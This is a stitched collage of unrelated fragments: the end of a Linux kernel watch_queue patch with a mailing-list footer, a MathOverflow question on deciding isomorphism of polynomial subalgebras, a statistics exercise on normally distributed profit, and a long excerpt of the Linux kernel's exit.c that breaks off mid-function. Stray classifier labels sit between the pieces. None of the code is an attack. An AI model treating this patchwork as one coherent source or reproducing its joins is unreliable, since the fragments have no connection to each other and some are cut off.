+ spin_lock_bh(&wqueue->lock);
+
+ /* Prevent new additions and prevent notifications from happening */
+ wqueue->defunct = true;
+
+ while (!hlist_empty(&wqueue->watches)) {
+ watch = hlist_entry(wqueue->watches.first, struct watch, queue_node);
+ hlist_del_init_rcu(&watch->queue_node);
+ /* We now own a ref on the watch. */
+ spin_unlock_bh(&wqueue->lock);
+
+ /* We can't do the next bit under the queue lock as we need to
+ * get the list lock - which would cause a deadlock if someone
+ * was removing from the opposite direction at the same time or
+ * posting a notification.
+ */
+ wlist = rcu_dereference(watch->watch_list);
+ if (wlist) {
+ void (*release_watch)(struct watch *);
+
+ spin_lock(&wlist->lock);
+
+ release = !hlist_unhashed(&watch->list_node);
+ if (release) {
+ hlist_del_init_rcu(&watch->list_node);
+ rcu_assign_pointer(watch->watch_list, NULL);
+
+ /* We now own a second ref on the watch. */
+ }
+
+ release_watch = wlist->release_watch;
+ spin_unlock(&wlist->lock);
+
+ if (release) {
+ if (release_watch) {
+ rcu_read_unlock();
+ /* This might need to call dput(), so
+ * we have to drop all the locks.
+ */
+ (*release_watch)(watch);
+ rcu_read_lock();
+ }
+ put_watch(watch);
+ }
+ }
+
+ put_watch(watch);
+ spin_lock_bh(&wqueue->lock);
+ }
+
+ spin_unlock_bh(&wqueue->lock);
+ rcu_read_unlock();
+}
+
+/**
+ * get_watch_queue - Get a watch queue from its file descriptor.
+ * @fd: The fd to query.
+ */
+struct watch_queue *get_watch_queue(int fd)
+{
+ struct pipe_inode_info *pipe;
+ struct watch_queue *wqueue = ERR_PTR(-EINVAL);
+ struct fd f;
+
+ f = fdget(fd);
+ if (f.file) {
+ pipe = get_pipe_info(f.file, false);
+ if (pipe && pipe->watch_queue) {
+ wqueue = pipe->watch_queue;
+ kref_get(&wqueue->usage);
+ }
+ fdput(f);
+ }
+
+ return wqueue;
+}
+EXPORT_SYMBOL(get_watch_queue);
+
+/*
+ * Initialise a watch queue
+ */
+int watch_queue_init(struct pipe_inode_info *pipe)
+{
+ struct watch_queue *wqueue;
+
+ wqueue = kzalloc(sizeof(*wqueue), GFP_KERNEL);
+ if (!wqueue)
+ return -ENOMEM;
+
+ wqueue->pipe = pipe;
+ kref_init(&wqueue->usage);
+ spin_lock_init(&wqueue->lock);
+ INIT_HLIST_HEAD(&wqueue->watches);
+
+ pipe->watch_queue = wqueue;
+ return 0;
+}
More information about the Linux-security-module-archive mailing list | __label__pos | 0.797498 |
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Let $A=\mathbf{Q}[x_1,\ldots,x_n]$ be the polynomial ring in $n$ variables over the rational numbers. Let $B=\mathbf{Q}[f_1,\ldots,f_r]$ and $C=\mathbf{Q}[g_1,\ldots,g_s]$ be two finitely generated $\mathbf{Q}$-subalgebras of $A$ with explicit generators.
Q1: Is there a finite time (efficient) algorithm that allows one to say when is $B\simeq C$ as $\mathbf{Q}$-algebra?
Q2: Is there a finite time (efficient) algorithm that allows one to say when is $Frac(B)\simeq Frac(C)$?
Here $Frac(B)$ denotes the fraction field. In both questions I really mean isomorphic and not equal.
share|improve this question
I don't know much about algorithmic questions like this. But: it would probably help to specify whether you are given a set of generators for $B$ and $C$, or whether you merely have some implicit description of these subalgebras. – MTS Jun 9 '12 at 0:06
Since $B$ and $C$ are both subalgebras of the same ring $A$, do you want to know whether they are isomorphic, or whether they are equal? – David Speyer Jun 9 '12 at 0:52
1
@David, here I really mean isomorphic. Equal would be "easy" since one may compute the relation ideal for $B$ and $C$ and then test for equality. – Hugo Chapdelaine Jun 9 '12 at 2:42
@MTS, yes in both cases I have explicit sets of generators. – Hugo Chapdelaine Jun 9 '12 at 2:46
4
mathoverflow.net/questions/21883/… – M P Jun 9 '12 at 3:18
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Browse other questions tagged or ask your own question. | __label__pos | 0.754078 |
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The profit (or loss) from an investment is normally distributed with a mean of $11,200 and a standard deviation of $8,250.
a. What is the probability that there will be a loss rather than a profit?
b. What is the probability that the profit will be between $10,000 and $20,000?
c. Find x such that the probability that the profit will exceed x is 25%.
d. If the loss exceeds $10,000 the company will have to borrow additional cash. What is the probability that the company will have to borrow additional cash?
e. Calculate the value at risk.
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/*
* linux/kernel/exit.c
*
* Copyright (C) 1991, 1992 Linus Torvalds
*/
#include <linux/mm.h>
#include <linux/slab.h>
#include <linux/sched/autogroup.h>
#include <linux/sched/mm.h>
#include <linux/sched/stat.h>
#include <linux/sched/task.h>
#include <linux/sched/task_stack.h>
#include <linux/sched/cputime.h>
#include <linux/interrupt.h>
#include <linux/module.h>
#include <linux/capability.h>
#include <linux/completion.h>
#include <linux/personality.h>
#include <linux/tty.h>
#include <linux/iocontext.h>
#include <linux/key.h>
#include <linux/cpu.h>
#include <linux/acct.h>
#include <linux/tsacct_kern.h>
#include <linux/file.h>
#include <linux/fdtable.h>
#include <linux/freezer.h>
#include <linux/binfmts.h>
#include <linux/nsproxy.h>
#include <linux/pid_namespace.h>
#include <linux/ptrace.h>
#include <linux/profile.h>
#include <linux/mount.h>
#include <linux/proc_fs.h>
#include <linux/kthread.h>
#include <linux/mempolicy.h>
#include <linux/taskstats_kern.h>
#include <linux/delayacct.h>
#include <linux/cgroup.h>
#include <linux/syscalls.h>
#include <linux/signal.h>
#include <linux/posix-timers.h>
#include <linux/cn_proc.h>
#include <linux/mutex.h>
#include <linux/futex.h>
#include <linux/pipe_fs_i.h>
#include <linux/audit.h> /* for audit_free() */
#include <linux/resource.h>
#include <linux/blkdev.h>
#include <linux/task_io_accounting_ops.h>
#include <linux/tracehook.h>
#include <linux/fs_struct.h>
#include <linux/userfaultfd_k.h>
#include <linux/init_task.h>
#include <linux/perf_event.h>
#include <trace/events/sched.h>
#include <linux/hw_breakpoint.h>
#include <linux/oom.h>
#include <linux/writeback.h>
#include <linux/shm.h>
#include <linux/kcov.h>
#include <linux/random.h>
#include <linux/rcuwait.h>
#include <linux/uaccess.h>
#include <asm/unistd.h>
#include <asm/pgtable.h>
#include <asm/mmu_context.h>
static void __unhash_process(struct task_struct *p, bool group_dead)
{
nr_threads--;
detach_pid(p, PIDTYPE_PID);
if (group_dead) {
detach_pid(p, PIDTYPE_PGID);
detach_pid(p, PIDTYPE_SID);
list_del_rcu(&p->tasks);
list_del_init(&p->sibling);
__this_cpu_dec(process_counts);
}
list_del_rcu(&p->thread_group);
list_del_rcu(&p->thread_node);
}
/*
* This function expects the tasklist_lock write-locked.
*/
static void __exit_signal(struct task_struct *tsk)
{
struct signal_struct *sig = tsk->signal;
bool group_dead = thread_group_leader(tsk);
struct sighand_struct *sighand;
struct tty_struct *uninitialized_var(tty);
u64 utime, stime;
sighand = rcu_dereference_check(tsk->sighand,
lockdep_tasklist_lock_is_held());
spin_lock(&sighand->siglock);
#ifdef CONFIG_POSIX_TIMERS
posix_cpu_timers_exit(tsk);
if (group_dead) {
posix_cpu_timers_exit_group(tsk);
} else {
/*
* This can only happen if the caller is de_thread().
* FIXME: this is the temporary hack, we should teach
* posix-cpu-timers to handle this case correctly.
*/
if (unlikely(has_group_leader_pid(tsk)))
posix_cpu_timers_exit_group(tsk);
}
#endif
if (group_dead) {
tty = sig->tty;
sig->tty = NULL;
} else {
/*
* If there is any task waiting for the group exit
* then notify it:
*/
if (sig->notify_count > 0 && !--sig->notify_count)
wake_up_process(sig->group_exit_task);
if (tsk == sig->curr_target)
sig->curr_target = next_thread(tsk);
}
add_device_randomness((const void*) &tsk->se.sum_exec_runtime,
sizeof(unsigned long long));
/*
* Accumulate here the counters for all threads as they die. We could
* skip the group leader because it is the last user of signal_struct,
* but we want to avoid the race with thread_group_cputime() which can
* see the empty ->thread_head list.
*/
task_cputime(tsk, &utime, &stime);
write_seqlock(&sig->stats_lock);
sig->utime += utime;
sig->stime += stime;
sig->gtime += task_gtime(tsk);
sig->min_flt += tsk->min_flt;
sig->maj_flt += tsk->maj_flt;
sig->nvcsw += tsk->nvcsw;
sig->nivcsw += tsk->nivcsw;
sig->inblock += task_io_get_inblock(tsk);
sig->oublock += task_io_get_oublock(tsk);
task_io_accounting_add(&sig->ioac, &tsk->ioac);
sig->sum_sched_runtime += tsk->se.sum_exec_runtime;
sig->nr_threads--;
__unhash_process(tsk, group_dead);
write_sequnlock(&sig->stats_lock);
/*
* Do this under ->siglock, we can race with another thread
* doing sigqueue_free() if we have SIGQUEUE_PREALLOC signals.
*/
flush_sigqueue(&tsk->pending);
tsk->sighand = NULL;
spin_unlock(&sighand->siglock);
__cleanup_sighand(sighand);
clear_tsk_thread_flag(tsk, TIF_SIGPENDING);
if (group_dead) {
flush_sigqueue(&sig->shared_pending);
tty_kref_put(tty);
}
}
static void delayed_put_task_struct(struct rcu_head *rhp)
{
struct task_struct *tsk = container_of(rhp, struct task_struct, rcu);
perf_event_delayed_put(tsk);
trace_sched_process_free(tsk);
put_task_struct(tsk);
}
void release_task(struct task_struct *p)
{
struct task_struct *leader;
int zap_leader;
repeat:
/* don't need to get the RCU readlock here - the process is dead and
* can't be modifying its own credentials. But shut RCU-lockdep up */
rcu_read_lock();
atomic_dec(&__task_cred(p)->user->processes);
rcu_read_unlock();
proc_flush_task(p);
write_lock_irq(&tasklist_lock);
ptrace_release_task(p);
__exit_signal(p);
/*
* If we are the last non-leader member of the thread
* group, and the leader is zombie, then notify the
* group leader's parent process. (if it wants notification.)
*/
zap_leader = 0;
leader = p->group_leader;
if (leader != p && thread_group_empty(leader)
&& leader->exit_state == EXIT_ZOMBIE) {
/*
* If we were the last child thread and the leader has
* exited already, and the leader's parent ignores SIGCHLD,
* then we are the one who should release the leader.
*/
zap_leader = do_notify_parent(leader, leader->exit_signal);
if (zap_leader)
leader->exit_state = EXIT_DEAD;
}
write_unlock_irq(&tasklist_lock);
release_thread(p);
call_rcu(&p->rcu, delayed_put_task_struct);
p = leader;
if (unlikely(zap_leader))
goto repeat;
}
/*
* Note that if this function returns a valid task_struct pointer (!NULL)
* task->usage must remain >0 for the duration of the RCU critical section.
*/
struct task_struct *task_rcu_dereference(struct task_struct **ptask)
{
struct sighand_struct *sighand;
struct task_struct *task;
/*
* We need to verify that release_task() was not called and thus
* delayed_put_task_struct() can't run and drop the last reference
* before rcu_read_unlock(). We check task->sighand != NULL,
* but we can read the already freed and reused memory.
*/
retry:
task = rcu_dereference(*ptask);
if (!task)
return NULL;
probe_kernel_address(&task->sighand, sighand);
/*
* Pairs with atomic_dec_and_test() in put_task_struct(). If this task
* was already freed we can not miss the preceding update of this
* pointer.
*/
smp_rmb();
if (unlikely(task != READ_ONCE(*ptask)))
goto retry;
/*
* We've re-checked that "task == *ptask", now we have two different
* cases:
*
* 1. This is actually the same task/task_struct. In this case
* sighand != NULL tells us it is still alive.
*
* 2. This is another task which got the same memory for task_struct.
* We can't know this of course, and we can not trust
* sighand != NULL.
*
* In this case we actually return a random value, but this is
* correct.
*
* If we return NULL - we can pretend that we actually noticed that
* *ptask was updated when the previous task has exited. Or pretend
* that probe_slab_address(&sighand) reads NULL.
*
* If we return the new task (because sighand is not NULL for any
* reason) - this is fine too. This (new) task can't go away before
* another gp pass.
*
* And note: We could even eliminate the false positive if re-read
* task->sighand once again to avoid the falsely NULL. But this case
* is very unlikely so we don't care.
*/
if (!sighand)
return NULL;
return task;
}
void rcuwait_wake_up(struct rcuwait *w)
{
struct task_struct *task;
rcu_read_lock();
/*
* Order condition vs @task, such that everything prior to the load
* of @task is visible. This is the condition as to why the user called
* rcuwait_trywake() in the first place. Pairs with set_current_state()
* barrier (A) in rcuwait_wait_event().
*
* WAIT WAKE
* [S] tsk = current [S] cond = true
* MB (A) MB (B)
* [L] cond [L] tsk
*/
smp_rmb(); /* (B) */
/*
* Avoid using task_rcu_dereference() magic as long as we are careful,
* see comment in rcuwait_wait_event() regarding ->exit_state.
*/
task = rcu_dereference(w->task);
if (task)
wake_up_process(task);
rcu_read_unlock();
}
struct task_struct *try_get_task_struct(struct task_struct **ptask)
{
struct task_struct *task;
rcu_read_lock();
task = task_rcu_dereference(ptask);
if (task)
get_task_struct(task);
rcu_read_unlock();
return task;
}
/*
* Determine if a process group is "orphaned", according to the POSIX
* definition in 2.2.2.52. Orphaned process groups are not to be affected
* by terminal-generated stop signals. Newly orphaned process groups are
* to receive a SIGHUP and a SIGCONT.
*
* "I ask you, have you ever known what it is to be an orphan?"
*/
static int will_become_orphaned_pgrp(struct pid *pgrp,
struct task_struct *ignored_task)
{
struct task_struct *p;
do_each_pid_task(pgrp, PIDTYPE_PGID, p) {
if ((p == ignored_task) ||
(p->exit_state && thread_group_empty(p)) ||
is_global_init(p->real_parent))
continue;
if (task_pgrp(p->real_parent) != pgrp &&
task_session(p->real_parent) == task_session(p))
return 0;
} while_each_pid_task(pgrp, PIDTYPE_PGID, p);
return 1;
}
int is_current_pgrp_orphaned(void)
{
int retval;
read_lock(&tasklist_lock);
retval = will_become_orphaned_pgrp(task_pgrp(current), NULL);
read_unlock(&tasklist_lock);
return retval;
}
static bool has_stopped_jobs(struct pid *pgrp)
{
struct task_struct *p;
do_each_pid_task(pgrp, PIDTYPE_PGID, p) {
if (p->signal->flags & SIGNAL_STOP_STOPPED)
return true;
} while_each_pid_task(pgrp, PIDTYPE_PGID, p);
return false;
}
/*
* Check to see if any process groups have become orphaned as
* a result of our exiting, and if they have any stopped jobs,
* send them a SIGHUP and then a SIGCONT. (POSIX 3.2.2.2)
*/
static void
kill_orphaned_pgrp(struct task_struct *tsk, struct task_struct *parent)
{
struct pid *pgrp = task_pgrp(tsk);
struct task_struct *ignored_task = tsk;
if (!parent)
/* exit: our father is in a different pgrp than
* we are and we were the only connection outside.
*/
parent = tsk->real_parent;
else
/* reparent: our child is in a different pgrp than
* we are, and it was the only connection outside.
*/
ignored_task = NULL;
if (task_pgrp(parent) != pgrp &&
task_session(parent) == task_session(tsk) &&
will_become_orphaned_pgrp(pgrp, ignored_task) &&
has_stopped_jobs(pgrp)) {
__kill_pgrp_info(SIGHUP, SEND_SIG_PRIV, pgrp);
__kill_pgrp_info(SIGCONT, SEND_SIG_PRIV, pgrp);
}
}
#ifdef CONFIG_MEMCG
/*
* A task is exiting. If it owned this mm, find a new owner for the mm.
*/
void mm_update_next_owner(struct mm_struct *mm)
{
struct task_struct *c, *g, *p = current;
retry:
/*
* If the exiting or execing task is not the owner, it's
* someone else's problem.
*/
if (mm->owner != p)
return;
/*
* The current owner is exiting/execing and there are no other
* candidates. Do not leave the mm pointing to a possibly
* freed task structure.
*/
if (atomic_read(&mm->mm_users) <= 1) {
mm->owner = NULL;
return;
}
read_lock(&tasklist_lock);
/*
* Search in the children
*/
list_for_each_entry(c, &p->children, sibling) {
if (c->mm == mm)
goto assign_new_owner;
}
/*
* Search in the siblings
*/
list_for_each_entry(c, &p->real_parent->children, sibling) {
if (c->mm == mm)
goto assign_new_owner;
}
/*
* Search through everything else, we should not get here often.
*/
for_each_process(g) {
if (g->flags & PF_KTHREAD)
continue;
for_each_thread(g, c) {
if (c->mm == mm)
goto assign_new_owner;
if (c->mm)
break;
}
}
read_unlock(&tasklist_lock);
/*
* We found no owner yet mm_users > 1: this implies that we are
* most likely racing with swapoff (try_to_unuse()) or /proc or
* ptrace or page migration (get_task_mm()). Mark owner as NULL.
*/
mm->owner = NULL;
return;
assign_new_owner:
BUG_ON(c == p);
get_task_struct(c);
/*
* The task_lock protects c->mm from changing.
* We always want mm->owner->mm == mm
*/
task_lock(c);
/*
* Delay read_unlock() till we have the task_lock()
* to ensure that c does not slip away underneath us
*/
read_unlock(&tasklist_lock);
if (c->mm != mm) {
task_unlock(c);
put_task_struct(c);
goto retry;
}
mm->owner = c;
task_unlock(c);
put_task_struct(c);
}
#endif /* CONFIG_MEMCG */
/*
* Turn us into a lazy TLB process if we
* aren't already..
*/
static void exit_mm(void)
{
struct mm_struct *mm = current->mm;
struct core_state *core_state;
mm_release(current, mm);
if (!mm)
return;
sync_mm_rss(mm);
/*
* Serialize with any possible pending coredump.
* We must hold mmap_sem around checking core_state
* and clearing tsk->mm. The core-inducing thread
* will increment ->nr_threads for each thread in the
* group with ->mm != NULL.
*/
down_read(&mm->mmap_sem);
core_state = mm->core_state;
if (core_state) {
struct core_thread self;
up_read(&mm->mmap_sem);
self.task = current;
self.next = xchg(&core_state->dumper.next, &self);
/*
* Implies mb(), the result of xchg() must be visible
* to core_state->dumper.
*/
if (atomic_dec_and_test(&core_state->nr_threads))
complete(&core_state->startup);
for (;;) {
set_current_state(TASK_UNINTERRUPTIBLE);
if (!self.task) /* see coredump_finish() */
break;
freezable_schedule();
}
__set_current_state(TASK_RUNNING);
down_read(&mm->mmap_sem);
}
mmgrab(mm);
BUG_ON(mm != current->active_mm);
/* more a memory barrier than a real lock */
task_lock(current);
current->mm = NULL;
up_read(&mm->mmap_sem);
enter_lazy_tlb(mm, current);
task_unlock(current);
mm_update_next_owner(mm);
mmput(mm);
if (test_thread_flag(TIF_MEMDIE))
exit_oom_victim();
}
static struct task_struct *find_alive_thread(struct task_struct *p)
{
struct task_struct *t;
for_each_thread(p, t) {
if (!(t->flags & PF_EXITING))
return t;
}
return NULL;
}
static struct task_struct *find_child_reaper(struct task_struct *father)
__releases(&tasklist_lock)
__acquires(&tasklist_lock)
{
struct pid_namespace *pid_ns = task_active_pid_ns(father);
struct task_struct *reaper = pid_ns->child_reaper;
if (likely(reaper != father))
return reaper;
reaper = find_alive_thread(father);
if (reaper) {
pid_ns->child_reaper = reaper;
return reaper;
}
write_unlock_irq(&tasklist_lock);
if (unlikely(pid_ns == &init_pid_ns)) {
panic("Attempted to kill init! exitcode=0x%08x\n",
father->signal->group_exit_code ?: father->exit_code);
}
zap_pid_ns_processes(pid_ns);
write_lock_irq(&tasklist_lock);
return father;
}
/*
* When we die, we re-parent all our children, and try to:
* 1. give them to another thread in our thread group, if such a member exists
* 2. give it to the first ancestor process which prctl'd itself as a
* child_subreaper for its children (like a service manager)
* 3. give it to the init process (PID 1) in our pid namespace
*/
static struct task_struct *find_new_reaper(struct task_struct *father,
struct task_struct *child_reaper)
{
struct task_struct *thread, *reaper;
thread = find_alive_thread(father);
if (thread)
return thread;
if (father->signal->has_child_subreaper) {
unsigned int ns_level = task_pid(father)->level;
/*
* Find the first ->is_child_subreaper ancestor in our pid_ns.
* We can't check reaper != child_reaper to ensure we do not
* cross the namespaces, the exiting parent could be injected
* by setns() + fork().
* We check pid->level, this is slightly more efficient than
* task_active_pid_ns(reaper) != task_active_pid_ns(father).
*/
for (reaper = father->real_parent;
task_pid(reaper)->level == ns_level;
reaper = reaper->real_parent) {
if (reaper == &init_task)
break;
if (!reaper->signal->is_child_subreaper)
continue;
thread = find_alive_thread(reaper);
if (thread)
return thread;
}
}
return child_reaper;
}
/*
* Any that need to be release_task'd are put on the @dead list.
*/
static void reparent_leader(struct task_struct *father, struct task_struct *p,
struct list_head *dead)
{
if (unlikely(p->exit_state == EXIT_DEAD))
return;
/* We don't want people slaying init. */
p->exit_signal = SIGCHLD;
/* If it has exited notify the new parent about this child's death. */
if (!p->ptrace &&
p->exit_state == EXIT_ZOMBIE && thread_group_empty(p)) {
if (do_notify_parent(p, p->exit_signal)) {
p->exit_state = EXIT_DEAD;
list_add(&p->ptrace_entry, dead);
}
}
kill_orphaned_pgrp(p, father);
}
/*
* This does two things:
*
* A. Make init inherit all the child processes
* B. Check to see if any process groups have become orphaned
* as a result of our exiting, and if they have any stopped
* jobs, send them a SIGHUP and then a SIGCONT. (POSIX 3.2.2.2)
*/
static void forget_original_parent(struct task_struct *father,
struct list_head *dead)
{
struct task_struct *p, *t, *reaper;
if (unlikely(!list_empty(&father->ptraced)))
exit_ptrace(father, dead);
/* Can drop and reacquire tasklist_lock */
reaper = find_child_reaper(father);
if (list_empty(&father->children))
return;
reaper = find_new_reaper(father, reaper);
list_for_each_entry(p, &father->children, sibling) {
for_each_thread(p, t) {
t->real_parent = reaper;
BUG_ON((!t->ptrace) != (t->parent == father));
if (likely(!t->ptrace))
t->parent = t->real_parent;
if (t->pdeath_signal)
group_send_sig_info(t->pdeath_signal,
SEND_SIG_NOINFO, t);
}
/*
* If this is a threaded reparent there is no need to
* notify anyone anything has happened.
*/
if (!same_thread_group(reaper, father))
reparent_leader(father, p, dead);
}
list_splice_tail_init(&father->children, &reaper->children);
}
/*
* Send signals to all our closest relatives so that they know
* to properly mourn us..
*/
static void exit_notify(struct task_struct *tsk, int group_dead)
{
bool autoreap;
struct task_struct *p, *n;
LIST_HEAD(dead);
write_lock_irq(&tasklist_lock);
forget_original_parent(tsk, &dead);
if (group_dead)
kill_orphaned_pgrp(tsk->group_leader, NULL);
if (unlikely(tsk->ptrace)) {
int sig = thread_group_leader(tsk) &&
thread_group_empty(tsk) &&
!ptrace_reparented(tsk) ?
tsk->exit_signal : SIGCHLD;
autoreap = do_notify_parent(tsk, sig);
} else if (thread_group_leader(tsk)) {
autoreap = thread_group_empty(tsk) &&
do_notify_parent(tsk, tsk->exit_signal);
} else {
autoreap = true;
}
tsk->exit_state = autoreap ? EXIT_DEAD : EXIT_ZOMBIE;
if (tsk->exit_state == EXIT_DEAD)
list_add(&tsk->ptrace_entry, &dead);
/* mt-exec, de_thread() is waiting for group leader */
if (unlikely(tsk->signal->notify_count < 0))
wake_up_process(tsk->signal->group_exit_task);
write_unlock_irq(&tasklist_lock);
list_for_each_entry_safe(p, n, &dead, ptrace_entry) {
list_del_init(&p->ptrace_entry);
release_task(p);
}
}
#ifdef CONFIG_DEBUG_STACK_USAGE
static void check_stack_usage(void)
{
static DEFINE_SPINLOCK(low_water_lock);
static int lowest_to_date = THREAD_SIZE;
unsigned long free;
free = stack_not_used(current);
if (free >= lowest_to_date)
return;
spin_lock(&low_water_lock);
if (free < lowest_to_date) {
pr_info("%s (%d) used greatest stack depth: %lu bytes left\n",
current->comm, task_pid_nr(current), free);
lowest_to_date = free;
}
spin_unlock(&low_water_lock);
}
#else
static inline void check_stack_usage(void) {}
#endif
void __noreturn do_exit(long code)
{
struct task_struct *tsk = current;
int group_dead;
TASKS_RCU(int tasks_rcu_i);
profile_task_exit(tsk);
kcov_task_exit(tsk);
WARN_ON(blk_needs_flush_plug(tsk));
if (unlikely(in_interrupt()))
panic("Aiee, killing interrupt handler!");
if (unlikely(!tsk->pid))
panic("Attempted to kill the idle task!");
/*
* If do_exit is called because this processes oopsed, it's possible
* that get_fs() was left as KERNEL_DS, so reset it to USER_DS before
* continuing. Amongst other possible reasons, this is to prevent
* mm_release()->clear_child_tid() from writing to a user-controlled
* kernel address.
*/
set_fs(USER_DS);
ptrace_event(PTRACE_EVENT_EXIT, code);
validate_creds_for_do_exit(tsk);
/*
* We're taking recursive faults here in do_exit. Safest is to just
* leave this task alone and wait for reboot.
*/
if (unlikely(tsk->flags & PF_EXITING)) {
pr_alert("Fixing recursive fault but reboot is needed!\n");
/*
* We can do this unlocked here. The futex code uses
* this flag just to verify whether the pi state
* cleanup has been done or not. In the worst case it
* loops once more. We pretend that the cleanup was
* done as there is no way to return. Either the
* OWNER_DIED bit is set by now or we push the blocked
* task into the wait for ever nirwana as well.
*/
tsk->flags |= PF_EXITPIDONE;
set_current_state(TASK_UNINTERRUPTIBLE);
schedule();
}
exit_signals(tsk); /* sets PF_EXITING */
/*
* Ensure that all new tsk->pi_lock acquisitions must observe
* PF_EXITING. Serializes against futex.c:attach_to_pi_owner().
*/
smp_mb();
/*
* Ensure that we must observe the pi_state in exit_mm() ->
* mm_release() -> exit_pi_state_list().
*/
raw_spin_unlock_wait(&tsk->pi_lock);
if (unlikely(in_atomic())) {
pr_info("note: %s[%d] exited with preempt_count %d\n",
current->comm, task_pid_nr(current),
preempt_count());
preempt_count_set(PREEMPT_ENABLED);
}
/* sync mm's RSS info before statistics gathering */
if (tsk->mm)
sync_mm_rss(tsk->mm);
acct_update_integrals(tsk);
group_dead = atomic_dec_and_test(&tsk->signal->live);
if (group_dead) {
#ifdef CONFIG_POSIX_TIMERS
hrtimer_cancel(&tsk->signal->real_timer);
exit_itimers(tsk->signal);
#endif
if (tsk->mm)
setmax_mm_hiwater_rss(&tsk->signal->maxrss, tsk->mm);
}
acct_collect(code, group_dead);
if (group_dead)
tty_audit_exit();
audit_free(tsk);
tsk->exit_code = code;
taskstats_exit(tsk, group_dead);
exit_mm();
if (group_dead)
acct_process();
trace_sched_process_exit(tsk);
exit_sem(tsk);
exit_shm(tsk);
exit_files(tsk);
exit_fs(tsk);
if (group_dead)
disassociate_ctty(1);
exit_task_namespaces(tsk);
exit_task_work(tsk);
exit_thread(tsk);
/*
* Flush inherited counters to the parent - before the parent
* gets woken up by child-exit notifications.
*
* because of cgroup mode, must be called before cgroup_exit()
*/
perf_event_exit_task(tsk);
sched_autogroup_exit_task(tsk);
cgroup_exit(tsk);
/*
* FIXME: do that only when needed, using sched_exit tracepoint
*/
flush_ptrace_hw_breakpoint(tsk);
TASKS_RCU(preempt_disable());
TASKS_RCU(tasks_rcu_i = __srcu_read_lock(&tasks_rcu_exit_srcu));
TASKS_RCU(preempt_enable());
exit_notify(tsk, group_dead);
proc_exit_connector(tsk);
mpol_put_task_policy(tsk);
#ifdef CONFIG_FUTEX
if (unlikely(current->pi_state_cache))
kfree(current->pi_state_cache);
#endif
/*
* Make sure we are holding no locks:
*/
debug_check_no_locks_held();
/*
* We can do this unlocked here. The futex code uses this flag
* just to verify whether the pi state cleanup has been done
* or not. In the worst case it loops once more.
*/
tsk->flags |= PF_EXITPIDONE;
if (tsk->io_context)
exit_io_context(tsk);
if (tsk->splice_pipe)
free_pipe_info(tsk->splice_pipe);
if (tsk->task_frag.page)
put_page(tsk->task_frag.page);
validate_creds_for_do_exit(tsk);
check_stack_usage();
preempt_disable();
if (tsk->nr_dirtied)
__this_cpu_add(dirty_throttle_leaks, tsk->nr_dirtied);
exit_rcu();
TASKS_RCU(__srcu_read_unlock(&tasks_rcu_exit_srcu, tasks_rcu_i));
do_task_dead();
}
EXPORT_SYMBOL_GPL(do_exit);
void complete_and_exit(struct completion *comp, long code)
{
if (comp)
complete(comp);
do_exit(code);
}
EXPORT_SYMBOL(complete_and_exit);
SYSCALL_DEFINE1(exit, int, error_code)
{
do_exit((error_code&0xff)<<8);
}
/*
* Take down every thread in the group. This is called by fatal signals
* as well as by sys_exit_group (below).
*/
void
do_group_exit(int exit_code)
{
struct signal_struct *sig = current->signal;
BUG_ON(exit_code & 0x80); /* core dumps don't get here */
if (signal_group_exit(sig))
exit_code = sig->group_exit_code;
else if (!thread_group_empty(current)) {
struct sighand_struct *const sighand = current->sighand;
spin_lock_irq(&sighand->siglock);
if (signal_group_exit(sig))
/* Another thread got here before we took the lock. */
exit_code = sig->group_exit_code;
else {
sig->group_exit_code = exit_code;
sig->flags = SIGNAL_GROUP_EXIT;
zap_other_threads(current);
}
spin_unlock_irq(&sighand->siglock);
}
do_exit(exit_code);
/* NOTREACHED */
}
/*
* this kills every thread in the thread group. Note that any externally
* wait4()-ing process will get the correct exit code - even if this
* thread is not the thread group leader.
*/
SYSCALL_DEFINE1(exit_group, int, error_code)
{
do_group_exit((error_code & 0xff) << 8);
/* NOTREACHED */
return 0;
}
struct wait_opts {
enum pid_type wo_type;
int wo_flags;
struct pid *wo_pid;
struct siginfo __user *wo_info;
int __user *wo_stat;
struct rusage __user *wo_rusage;
wait_queue_t child_wait;
int notask_error;
};
static inline
struct pid *task_pid_type(struct task_struct *task, enum pid_type type)
{
if (type != PIDTYPE_PID)
task = task->group_leader;
return task->pids[type].pid;
}
static int eligible_pid(struct wait_opts *wo, struct task_struct *p)
{
return wo->wo_type == PIDTYPE_MAX ||
task_pid_type(p, wo->wo_type) == wo->wo_pid;
}
static int
eligible_child(struct wait_opts *wo, bool ptrace, struct task_struct *p)
{
if (!eligible_pid(wo, p))
return 0;
/*
* Wait for all children (clone and not) if __WALL is set or
* if it is traced by us.
*/
if (ptrace || (wo->wo_flags & __WALL))
return 1;
/*
* Otherwise, wait for clone children *only* if __WCLONE is set;
* otherwise, wait for non-clone children *only*.
*
* Note: a "clone" child here is one that reports to its parent
* using a signal other than SIGCHLD, or a non-leader thread which
* we can only see if it is traced by us.
*/
if ((p->exit_signal != SIGCHLD) ^ !!(wo->wo_flags & __WCLONE))
return 0;
return 1;
}
static int wait_noreap_copyout(struct wait_opts *wo, struct task_struct *p,
pid_t pid, uid_t uid, int why, int status)
{
struct siginfo __user *infop;
int retval = wo->wo_rusage
? getrusage(p, RUSAGE_BOTH, wo->wo_rusage) : 0;
put_task_struct(p);
infop = wo->wo_info;
if (infop) {
if (!retval)
retval = put_user(SIGCHLD, &infop->si_signo);
if (!retval)
retval = put_user(0, &infop->si_errno);
if (!retval)
retval = put_user((short)why, &infop->si_code);
if (!retval)
retval = put_user(pid, &infop->si_pid);
if (!retval)
retval = put_user(uid, &infop->si_uid);
if (!retval)
retval = put_user(status, &infop->si_status);
}
if (!retval)
retval = pid;
return retval;
}
/*
* Handle sys_wait4 work for one task in state EXIT_ZOMBIE. We hold
* read_lock(&tasklist_lock) on entry. If we return zero, we still hold
* the lock and this task is uninteresting. If we return nonzero, we have
* released the lock and the system call should return.
*/
static int wait_task_zombie(struct wait_opts *wo, struct task_struct *p)
{
int state, retval, status;
pid_t pid = task_pid_vnr(p);
uid_t uid = from_kuid_munged(current_user_ns(), task_uid(p));
struct siginfo __user *infop;
if (!likely(wo->wo_flags & WEXITED))
return 0;
if (unlikely(wo->wo_flags & WNOWAIT)) {
int exit_code = p->exit_code;
int why;
get_task_struct(p);
read_unlock(&tasklist_lock);
sched_annotate_sleep();
if ((exit_code & 0x7f) == 0) {
why = CLD_EXITED;
status = exit_code >> 8;
} else {
why = (exit_code & 0x80) ? CLD_DUMPED : CLD_KILLED;
status = exit_code & 0x7f;
}
return wait_noreap_copyout(wo, p, pid, uid, why, status);
}
/*
* Move the task's state to DEAD/TRACE, only one thread can do this.
*/
